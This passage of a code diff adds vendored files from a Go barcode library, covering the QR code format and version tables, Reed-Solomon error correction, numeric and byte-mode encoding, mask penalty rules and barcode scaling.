+			}
+			drawPattern(x, y)
+		}
+	}
+}
+
+var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
+	L: {
+		0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
+		1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
+		2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
+		3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
+		4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
+		5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
+		6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
+		7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
+	},
+	M: {
+		0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
+		1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
+		2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
+		3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
+		4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
+		5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
+		6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
+		7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
+	},
+	Q: {
+		0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
+		1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
+		2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
+		3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
+		4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
+		5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
+		6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
+		7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
+	},
+	H: {
+		0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
+		1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
+		2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
+		3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
+		4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
+		5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
+		6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
+		7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
+	},
+}
+
+func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
+	var formatInfo []bool
+
+	if usedMask == -1 {
+		formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
+	} else {
+		formatInfo = formatInfos[vi.Level][usedMask]
+	}
+
+	if len(formatInfo) == 15 {
+		dim := vi.modulWidth()
+		set(0, 8, formatInfo[0])
+		set(1, 8, formatInfo[1])
+		set(2, 8, formatInfo[2])
+		set(3, 8, formatInfo[3])
+		set(4, 8, formatInfo[4])
+		set(5, 8, formatInfo[5])
+		set(7, 8, formatInfo[6])
+		set(8, 8, formatInfo[7])
+		set(8, 7, formatInfo[8])
+		set(8, 5, formatInfo[9])
+		set(8, 4, formatInfo[10])
+		set(8, 3, formatInfo[11])
+		set(8, 2, formatInfo[12])
+		set(8, 1, formatInfo[13])
+		set(8, 0, formatInfo[14])
+
+		set(8, dim-1, formatInfo[0])
+		set(8, dim-2, formatInfo[1])
+		set(8, dim-3, formatInfo[2])
+		set(8, dim-4, formatInfo[3])
+		set(8, dim-5, formatInfo[4])
+		set(8, dim-6, formatInfo[5])
+		set(8, dim-7, formatInfo[6])
+		set(dim-8, 8, formatInfo[7])
+		set(dim-7, 8, formatInfo[8])
+		set(dim-6, 8, formatInfo[9])
+		set(dim-5, 8, formatInfo[10])
+		set(dim-4, 8, formatInfo[11])
+		set(dim-3, 8, formatInfo[12])
+		set(dim-2, 8, formatInfo[13])
+		set(dim-1, 8, formatInfo[14])
+	}
+}
+
+var versionInfoBitsByVersion = map[byte][]bool{
+	7:  []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
+	8:  []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
+	9:  []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
+	10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
+	11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
+	12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
+	13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
+	14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
+	15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
+	16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
+	17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
+	18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
+	19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
+	20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
+	21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
+	22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
+	23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
+	24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
+	25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
+	26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
+	27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
+	28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
+	29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
+	30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
+	31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
+	32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
+	33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
+	34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
+	35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
+	36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
+	37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
+	38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
+	39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
+	40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
+}
+
+func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
+	versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
+
+	if ok && len(versionInfoBits) > 0 {
+		for i := 0; i < len(versionInfoBits); i++ {
+			x := (vi.modulWidth() - 11) + i%3
+			y := i / 3
+			set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
+			set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
+		}
+	}
+
+}
+
+func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
+	for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
+		bl.AddBit(false)
+	}
+
+	for bl.Len()%8 != 0 {
+		bl.AddBit(false)
+	}
+
+	for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
+		if i%2 == 0 {
+			bl.AddByte(236)
+		} else {
+			bl.AddByte(17)
+		}
+	}
+}

vendor/github.com/boombuler/barcode/qr/errorcorrection.go

@@ -0,0 +1,29 @@
+package qr
+
+import (
+	"github.com/boombuler/barcode/utils"
+)
+
+type errorCorrection struct {
+	rs *utils.ReedSolomonEncoder
+}
+
+var ec = newErrorCorrection()
+
+func newErrorCorrection() *errorCorrection {
+	fld := utils.NewGaloisField(285, 256, 0)
+	return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
+}
+
+func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
+	dataInts := make([]int, len(data))
+	for i := 0; i < len(data); i++ {
+		dataInts[i] = int(data[i])
+	}
+	res := ec.rs.Encode(dataInts, int(eccCount))
+	result := make([]byte, len(res))
+	for i := 0; i < len(res); i++ {
+		result[i] = byte(res[i])
+	}
+	return result
+}

vendor/github.com/boombuler/barcode/qr/numeric.go

@@ -0,0 +1,56 @@
+package qr
+
+import (
+	"errors"
+	"fmt"
+	"strconv"
+
+	"github.com/boombuler/barcode/utils"
+)
+
+func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
+	contentBitCount := (len(content) / 3) * 10
+	switch len(content) % 3 {
+	case 1:
+		contentBitCount += 4
+	case 2:
+		contentBitCount += 7
+	}
+	vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
+	if vi == nil {
+		return nil, nil, errors.New("To much data to encode")
+	}
+	res := new(utils.BitList)
+	res.AddBits(int(numericMode), 4)
+	res.AddBits(len(content), vi.charCountBits(numericMode))
+
+	for pos := 0; pos < len(content); pos += 3 {
+		var curStr string
+		if pos+3 <= len(content) {
+			curStr = content[pos : pos+3]
+		} else {
+			curStr = content[pos:]
+		}
+
+		i, err := strconv.Atoi(curStr)
+		if err != nil || i < 0 {
+			return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
+		}
+		var bitCnt byte
+		switch len(curStr) % 3 {
+		case 0:
+			bitCnt = 10
+		case 1:
+			bitCnt = 4
+			break
+		case 2:
+			bitCnt = 7
+			break
+		}
+
+		res.AddBits(i, bitCnt)
+	}
+
+	addPaddingAndTerminator(res, vi)
+	return res, vi, nil
+}

vendor/github.com/boombuler/barcode/qr/qrcode.go

@@ -0,0 +1,166 @@
+package qr
+
+import (
+	"image"
+	"image/color"
+	"math"
+
+	"github.com/boombuler/barcode"
+	"github.com/boombuler/barcode/utils"
+)
+
+type qrcode struct {
+	dimension int
+	data      *utils.BitList
+	content   string
+}
+
+func (qr *qrcode) Content() string {
+	return qr.content
+}
+
+func (qr *qrcode) Metadata() barcode.Metadata {
+	return barcode.Metadata{barcode.TypeQR, 2}
+}
+
+func (qr *qrcode) ColorModel() color.Model {
+	return color.Gray16Model
+}
+
+func (qr *qrcode) Bounds() image.Rectangle {
+	return image.Rect(0, 0, qr.dimension, qr.dimension)
+}
+
+func (qr *qrcode) At(x, y int) color.Color {
+	if qr.Get(x, y) {
+		return color.Black
+	}
+	return color.White
+}
+
+func (qr *qrcode) Get(x, y int) bool {
+	return qr.data.GetBit(x*qr.dimension + y)
+}
+
+func (qr *qrcode) Set(x, y int, val bool) {
+	qr.data.SetBit(x*qr.dimension+y, val)
+}
+
+func (qr *qrcode) calcPenalty() uint {
+	return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
+}
+
+func (qr *qrcode) calcPenaltyRule1() uint {
+	var result uint
+	for x := 0; x < qr.dimension; x++ {
+		checkForX := false
+		var cntX uint
+		checkForY := false
+		var cntY uint
+
+		for y := 0; y < qr.dimension; y++ {
+			if qr.Get(x, y) == checkForX {
+				cntX++
+			} else {
+				checkForX = !checkForX
+				if cntX >= 5 {
+					result += cntX - 2
+				}
+				cntX = 1
+			}
+
+			if qr.Get(y, x) == checkForY {
+				cntY++
+			} else {
+				checkForY = !checkForY
+				if cntY >= 5 {
+					result += cntY - 2
+				}
+				cntY = 1
+			}
+		}
+
+		if cntX >= 5 {
+			result += cntX - 2
+		}
+		if cntY >= 5 {
+			result += cntY - 2
+		}
+	}
+
+	return result
+}
+
+func (qr *qrcode) calcPenaltyRule2() uint {
+	var result uint
+	for x := 0; x < qr.dimension-1; x++ {
+		for y := 0; y < qr.dimension-1; y++ {
+			check := qr.Get(x, y)
+			if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
+				result += 3
+			}
+		}
+	}
+	return result
+}
+
+func (qr *qrcode) calcPenaltyRule3() uint {
+	pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
+	pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
+
+	var result uint
+	for x := 0; x <= qr.dimension-len(pattern1); x++ {
+		for y := 0; y < qr.dimension; y++ {
+			pattern1XFound := true
+			pattern2XFound := true
+			pattern1YFound := true
+			pattern2YFound := true
+
+			for i := 0; i < len(pattern1); i++ {
+				iv := qr.Get(x+i, y)
+				if iv != pattern1[i] {
+					pattern1XFound = false
+				}
+				if iv != pattern2[i] {
+					pattern2XFound = false
+				}
+				iv = qr.Get(y, x+i)
+				if iv != pattern1[i] {
+					pattern1YFound = false
+				}
+				if iv != pattern2[i] {
+					pattern2YFound = false
+				}
+			}
+			if pattern1XFound || pattern2XFound {
+				result += 40
+			}
+			if pattern1YFound || pattern2YFound {
+				result += 40
+			}
+		}
+	}
+
+	return result
+}
+
+func (qr *qrcode) calcPenaltyRule4() uint {
+	totalNum := qr.data.Len()
+	trueCnt := 0
+	for i := 0; i < totalNum; i++ {
+		if qr.data.GetBit(i) {
+			trueCnt++
+		}
+	}
+	percDark := float64(trueCnt) * 100 / float64(totalNum)
+	floor := math.Abs(math.Floor(percDark/5) - 10)
+	ceil := math.Abs(math.Ceil(percDark/5) - 10)
+	return uint(math.Min(floor, ceil) * 10)
+}
+
+func newBarcode(dim int) *qrcode {
+	res := new(qrcode)
+	res.dimension = dim
+	res.data = utils.NewBitList(dim * dim)
+	return res
+}

vendor/github.com/boombuler/barcode/qr/unicode.go

@@ -0,0 +1,27 @@
+package qr
+
+import (
+	"errors"
+
+	"github.com/boombuler/barcode/utils"
+)
+
+func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
+	data := []byte(content)
+
+	vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
+	if vi == nil {
+		return nil, nil, errors.New("To much data to encode")
+	}
+
+	// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
+	// required ECI header...
+	res := new(utils.BitList)
+	res.AddBits(int(byteMode), 4)
+	res.AddBits(len(content), vi.charCountBits(byteMode))
+	for _, b := range data {
+		res.AddByte(b)
+	}
+	addPaddingAndTerminator(res, vi)
+	return res, vi, nil
+}

vendor/github.com/boombuler/barcode/qr/versioninfo.go

@@ -0,0 +1,310 @@
+package qr
+
+import "math"
+
+// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
+type ErrorCorrectionLevel byte
+
+const (
+	// L recovers 7% of data
+	L ErrorCorrectionLevel = iota
+	// M recovers 15% of data
+	M
+	// Q recovers 25% of data
+	Q
+	// H recovers 30% of data
+	H
+)
+
+func (ecl ErrorCorrectionLevel) String() string {
+	switch ecl {
+	case L:
+		return "L"
+	case M:
+		return "M"
+	case Q:
+		return "Q"
+	case H:
+		return "H"
+	}
+	return "unknown"
+}
+
+type encodingMode byte
+
+const (
+	numericMode      encodingMode = 1
+	alphaNumericMode encodingMode = 2
+	byteMode         encodingMode = 4
+	kanjiMode        encodingMode = 8
+)
+
+type versionInfo struct {
+	Version                          byte
+	Level                            ErrorCorrectionLevel
+	ErrorCorrectionCodewordsPerBlock byte
+	NumberOfBlocksInGroup1           byte
+	DataCodeWordsPerBlockInGroup1    byte
+	NumberOfBlocksInGroup2           byte
+	DataCodeWordsPerBlockInGroup2    byte
+}
+
+var versionInfos = []*versionInfo{
+	&versionInfo{1, L, 7, 1, 19, 0, 0},
+	&versionInfo{1, M, 10, 1, 16, 0, 0},
+	&versionInfo{1, Q, 13, 1, 13, 0, 0},
+	&versionInfo{1, H, 17, 1, 9, 0, 0},
+	&versionInfo{2, L, 10, 1, 34, 0, 0},
+	&versionInfo{2, M, 16, 1, 28, 0, 0},
+	&versionInfo{2, Q, 22, 1, 22, 0, 0},
+	&versionInfo{2, H, 28, 1, 16, 0, 0},
+	&versionInfo{3, L, 15, 1, 55, 0, 0},
+	&versionInfo{3, M, 26, 1, 44, 0, 0},
+	&versionInfo{3, Q, 18, 2, 17, 0, 0},
+	&versionInfo{3, H, 22, 2, 13, 0, 0},
+	&versionInfo{4, L, 20, 1, 80, 0, 0},
+	&versionInfo{4, M, 18, 2, 32, 0, 0},
+	&versionInfo{4, Q, 26, 2, 24, 0, 0},
+	&versionInfo{4, H, 16, 4, 9, 0, 0},
+	&versionInfo{5, L, 26, 1, 108, 0, 0},
+	&versionInfo{5, M, 24, 2, 43, 0, 0},
+	&versionInfo{5, Q, 18, 2, 15, 2, 16},
+	&versionInfo{5, H, 22, 2, 11, 2, 12},
+	&versionInfo{6, L, 18, 2, 68, 0, 0},
+	&versionInfo{6, M, 16, 4, 27, 0, 0},
+	&versionInfo{6, Q, 24, 4, 19, 0, 0},
+	&versionInfo{6, H, 28, 4, 15, 0, 0},
+	&versionInfo{7, L, 20, 2, 78, 0, 0},
+	&versionInfo{7, M, 18, 4, 31, 0, 0},
+	&versionInfo{7, Q, 18, 2, 14, 4, 15},
+	&versionInfo{7, H, 26, 4, 13, 1, 14},
+	&versionInfo{8, L, 24, 2, 97, 0, 0},
+	&versionInfo{8, M, 22, 2, 38, 2, 39},
+	&versionInfo{8, Q, 22, 4, 18, 2, 19},
+	&versionInfo{8, H, 26, 4, 14, 2, 15},
+	&versionInfo{9, L, 30, 2, 116, 0, 0},
+	&versionInfo{9, M, 22, 3, 36, 2, 37},
+	&versionInfo{9, Q, 20, 4, 16, 4, 17},
+	&versionInfo{9, H, 24, 4, 12, 4, 13},
+	&versionInfo{10, L, 18, 2, 68, 2, 69},
+	&versionInfo{10, M, 26, 4, 43, 1, 44},
+	&versionInfo{10, Q, 24, 6, 19, 2, 20},
+	&versionInfo{10, H, 28, 6, 15, 2, 16},
+	&versionInfo{11, L, 20, 4, 81, 0, 0},
+	&versionInfo{11, M, 30, 1, 50, 4, 51},
+	&versionInfo{11, Q, 28, 4, 22, 4, 23},
+	&versionInfo{11, H, 24, 3, 12, 8, 13},
+	&versionInfo{12, L, 24, 2, 92, 2, 93},
+	&versionInfo{12, M, 22, 6, 36, 2, 37},
+	&versionInfo{12, Q, 26, 4, 20, 6, 21},
+	&versionInfo{12, H, 28, 7, 14, 4, 15},
+	&versionInfo{13, L, 26, 4, 107, 0, 0},
+	&versionInfo{13, M, 22, 8, 37, 1, 38},
+	&versionInfo{13, Q, 24, 8, 20, 4, 21},
+	&versionInfo{13, H, 22, 12, 11, 4, 12},
+	&versionInfo{14, L, 30, 3, 115, 1, 116},
+	&versionInfo{14, M, 24, 4, 40, 5, 41},
+	&versionInfo{14, Q, 20, 11, 16, 5, 17},
+	&versionInfo{14, H, 24, 11, 12, 5, 13},
+	&versionInfo{15, L, 22, 5, 87, 1, 88},
+	&versionInfo{15, M, 24, 5, 41, 5, 42},
+	&versionInfo{15, Q, 30, 5, 24, 7, 25},
+	&versionInfo{15, H, 24, 11, 12, 7, 13},
+	&versionInfo{16, L, 24, 5, 98, 1, 99},
+	&versionInfo{16, M, 28, 7, 45, 3, 46},
+	&versionInfo{16, Q, 24, 15, 19, 2, 20},
+	&versionInfo{16, H, 30, 3, 15, 13, 16},
+	&versionInfo{17, L, 28, 1, 107, 5, 108},
+	&versionInfo{17, M, 28, 10, 46, 1, 47},
+	&versionInfo{17, Q, 28, 1, 22, 15, 23},
+	&versionInfo{17, H, 28, 2, 14, 17, 15},
+	&versionInfo{18, L, 30, 5, 120, 1, 121},
+	&versionInfo{18, M, 26, 9, 43, 4, 44},
+	&versionInfo{18, Q, 28, 17, 22, 1, 23},
+	&versionInfo{18, H, 28, 2, 14, 19, 15},
+	&versionInfo{19, L, 28, 3, 113, 4, 114},
+	&versionInfo{19, M, 26, 3, 44, 11, 45},
+	&versionInfo{19, Q, 26, 17, 21, 4, 22},
+	&versionInfo{19, H, 26, 9, 13, 16, 14},
+	&versionInfo{20, L, 28, 3, 107, 5, 108},
+	&versionInfo{20, M, 26, 3, 41, 13, 42},
+	&versionInfo{20, Q, 30, 15, 24, 5, 25},
+	&versionInfo{20, H, 28, 15, 15, 10, 16},
+	&versionInfo{21, L, 28, 4, 116, 4, 117},
+	&versionInfo{21, M, 26, 17, 42, 0, 0},
+	&versionInfo{21, Q, 28, 17, 22, 6, 23},
+	&versionInfo{21, H, 30, 19, 16, 6, 17},
+	&versionInfo{22, L, 28, 2, 111, 7, 112},
+	&versionInfo{22, M, 28, 17, 46, 0, 0},
+	&versionInfo{22, Q, 30, 7, 24, 16, 25},
+	&versionInfo{22, H, 24, 34, 13, 0, 0},
+	&versionInfo{23, L, 30, 4, 121, 5, 122},
+	&versionInfo{23, M, 28, 4, 47, 14, 48},
+	&versionInfo{23, Q, 30, 11, 24, 14, 25},
+	&versionInfo{23, H, 30, 16, 15, 14, 16},
+	&versionInfo{24, L, 30, 6, 117, 4, 118},
+	&versionInfo{24, M, 28, 6, 45, 14, 46},
+	&versionInfo{24, Q, 30, 11, 24, 16, 25},
+	&versionInfo{24, H, 30, 30, 16, 2, 17},
+	&versionInfo{25, L, 26, 8, 106, 4, 107},
+	&versionInfo{25, M, 28, 8, 47, 13, 48},
+	&versionInfo{25, Q, 30, 7, 24, 22, 25},
+	&versionInfo{25, H, 30, 22, 15, 13, 16},
+	&versionInfo{26, L, 28, 10, 114, 2, 115},
+	&versionInfo{26, M, 28, 19, 46, 4, 47},
+	&versionInfo{26, Q, 28, 28, 22, 6, 23},
+	&versionInfo{26, H, 30, 33, 16, 4, 17},
+	&versionInfo{27, L, 30, 8, 122, 4, 123},
+	&versionInfo{27, M, 28, 22, 45, 3, 46},
+	&versionInfo{27, Q, 30, 8, 23, 26, 24},
+	&versionInfo{27, H, 30, 12, 15, 28, 16},
+	&versionInfo{28, L, 30, 3, 117, 10, 118},
+	&versionInfo{28, M, 28, 3, 45, 23, 46},
+	&versionInfo{28, Q, 30, 4, 24, 31, 25},
+	&versionInfo{28, H, 30, 11, 15, 31, 16},
+	&versionInfo{29, L, 30, 7, 116, 7, 117},
+	&versionInfo{29, M, 28, 21, 45, 7, 46},
+	&versionInfo{29, Q, 30, 1, 23, 37, 24},
+	&versionInfo{29, H, 30, 19, 15, 26, 16},
+	&versionInfo{30, L, 30, 5, 115, 10, 116},
+	&versionInfo{30, M, 28, 19, 47, 10, 48},
+	&versionInfo{30, Q, 30, 15, 24, 25, 25},
+	&versionInfo{30, H, 30, 23, 15, 25, 16},
+	&versionInfo{31, L, 30, 13, 115, 3, 116},
+	&versionInfo{31, M, 28, 2, 46, 29, 47},
+	&versionInfo{31, Q, 30, 42, 24, 1, 25},
+	&versionInfo{31, H, 30, 23, 15, 28, 16},
+	&versionInfo{32, L, 30, 17, 115, 0, 0},
+	&versionInfo{32, M, 28, 10, 46, 23, 47},
+	&versionInfo{32, Q, 30, 10, 24, 35, 25},
+	&versionInfo{32, H, 30, 19, 15, 35, 16},
+	&versionInfo{33, L, 30, 17, 115, 1, 116},
+	&versionInfo{33, M, 28, 14, 46, 21, 47},
+	&versionInfo{33, Q, 30, 29, 24, 19, 25},
+	&versionInfo{33, H, 30, 11, 15, 46, 16},
+	&versionInfo{34, L, 30, 13, 115, 6, 116},
+	&versionInfo{34, M, 28, 14, 46, 23, 47},
+	&versionInfo{34, Q, 30, 44, 24, 7, 25},
+	&versionInfo{34, H, 30, 59, 16, 1, 17},
+	&versionInfo{35, L, 30, 12, 121, 7, 122},
+	&versionInfo{35, M, 28, 12, 47, 26, 48},
+	&versionInfo{35, Q, 30, 39, 24, 14, 25},
+	&versionInfo{35, H, 30, 22, 15, 41, 16},
+	&versionInfo{36, L, 30, 6, 121, 14, 122},
+	&versionInfo{36, M, 28, 6, 47, 34, 48},
+	&versionInfo{36, Q, 30, 46, 24, 10, 25},
+	&versionInfo{36, H, 30, 2, 15, 64, 16},
+	&versionInfo{37, L, 30, 17, 122, 4, 123},
+	&versionInfo{37, M, 28, 29, 46, 14, 47},
+	&versionInfo{37, Q, 30, 49, 24, 10, 25},
+	&versionInfo{37, H, 30, 24, 15, 46, 16},
+	&versionInfo{38, L, 30, 4, 122, 18, 123},
+	&versionInfo{38, M, 28, 13, 46, 32, 47},
+	&versionInfo{38, Q, 30, 48, 24, 14, 25},
+	&versionInfo{38, H, 30, 42, 15, 32, 16},
+	&versionInfo{39, L, 30, 20, 117, 4, 118},
+	&versionInfo{39, M, 28, 40, 47, 7, 48},
+	&versionInfo{39, Q, 30, 43, 24, 22, 25},
+	&versionInfo{39, H, 30, 10, 15, 67, 16},
+	&versionInfo{40, L, 30, 19, 118, 6, 119},
+	&versionInfo{40, M, 28, 18, 47, 31, 48},
+	&versionInfo{40, Q, 30, 34, 24, 34, 25},
+	&versionInfo{40, H, 30, 20, 15, 61, 16},
+}
+
+func (vi *versionInfo) totalDataBytes() int {
+	g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
+	g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
+	return (g1Data + g2Data)
+}
+
+func (vi *versionInfo) charCountBits(m encodingMode) byte {
+	switch m {
+	case numericMode:
+		if vi.Version < 10 {
+			return 10
+		} else if vi.Version < 27 {
+			return 12
+		}
+		return 14
+
+	case alphaNumericMode:
+		if vi.Version < 10 {
+			return 9
+		} else if vi.Version < 27 {
+			return 11
+		}
+		return 13
+
+	case byteMode:
+		if vi.Version < 10 {
+			return 8
+		}
+		return 16
+
+	case kanjiMode:
+		if vi.Version < 10 {
+			return 8
+		} else if vi.Version < 27 {
+			return 10
+		}
+		return 12
+	default:
+		return 0
+	}
+}
+
+func (vi *versionInfo) modulWidth() int {
+	return ((int(vi.Version) - 1) * 4) + 21
+}
+
+func (vi *versionInfo) alignmentPatternPlacements() []int {
+	if vi.Version == 1 {
+		return make([]int, 0)
+	}
+
+	first := 6
+	last := vi.modulWidth() - 7
+	space := float64(last - first)
+	count := int(math.Ceil(space/28)) + 1
+
+	result := make([]int, count)
+	result[0] = first
+	result[len(result)-1] = last
+	if count > 2 {
+		step := int(math.Ceil(float64(last-first) / float64(count-1)))
+		if step%2 == 1 {
+			frac := float64(last-first) / float64(count-1)
+			_, x := math.Modf(frac)
+			if x >= 0.5 {
+				frac = math.Ceil(frac)
+			} else {
+				frac = math.Floor(frac)
+			}
+
+			if int(frac)%2 == 0 {
+				step--
+			} else {
+				step++
+			}
+		}
+
+		for i := 1; i <= count-2; i++ {
+			result[i] = last - (step * (count - 1 - i))
+		}
+	}
+
+	return result
+}
+
+func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
+	dataBits = dataBits + 4 // mode indicator
+	for _, vi := range versionInfos {
+		if vi.Level == ecl {
+			if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
+				return vi
+			}
+		}
+	}
+	return nil
+}

vendor/github.com/boombuler/barcode/scaledbarcode.go

@@ -0,0 +1,134 @@
+package barcode
+
+import (
+	"errors"
+	"fmt"
+	"image"
+	"image/color"
+	"math"
+)
+
+type wrapFunc func(x, y int) color.Color
+
+type scaledBarcode struct {
+	wrapped     Barcode
+	wrapperFunc wrapFunc
+	rect        image.Rectangle
+}
+
+type intCSscaledBC struct {
+	scaledBarcode
+}
+
+func (bc *scaledBarcode) Content() string {
+	return bc.wrapped.Content()
+}
+
+func (bc *scaledBarcode) Metadata() Metadata {
+	return bc.wrapped.Metadata()
+}
+
+func (bc *scaledBarcode) ColorModel() color.Model {
+	return bc.wrapped.ColorModel()
+}
+
+func (bc *scaledBarcode) Bounds() image.Rectangle {
+	return bc.rect
+}
+
+func (bc *scaledBarcode) At(x, y int) color.Color {
+	return bc.wrapperFunc(x, y)
+}
+
+func (bc *intCSscaledBC) CheckSum() int {
+	if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
+		return cs.CheckSum()
+	}
+	return 0
+}
+
+// Scale returns a resized barcode with the given width and height.
+func Scale(bc Barcode, width, height int) (Barcode, error) {
+	switch bc.Metadata().Dimensions {
+	case 1:
+		return scale1DCode(bc, width, height)
+	case 2:
+		return scale2DCode(bc, width, height)
+	}
+
+	return nil, errors.New("unsupported barcode format")
+}
+
+func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
+	result := &scaledBarcode{
+		wrapped:     wrapped,
+		wrapperFunc: wrapperFunc,
+		rect:        rect,
+	}
+
+	if _, ok := wrapped.(BarcodeIntCS); ok {
+		return &intCSscaledBC{*result}
+	}
+	return result
+}
+
+func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
+	orgBounds := bc.Bounds()
+	orgWidth := orgBounds.Max.X - orgBounds.Min.X
+	orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
+
+	factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
+	if factor <= 0 {
+		return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
+	}
+
+	offsetX := (width - (orgWidth * factor)) / 2
+	offsetY := (height - (orgHeight * factor)) / 2
+
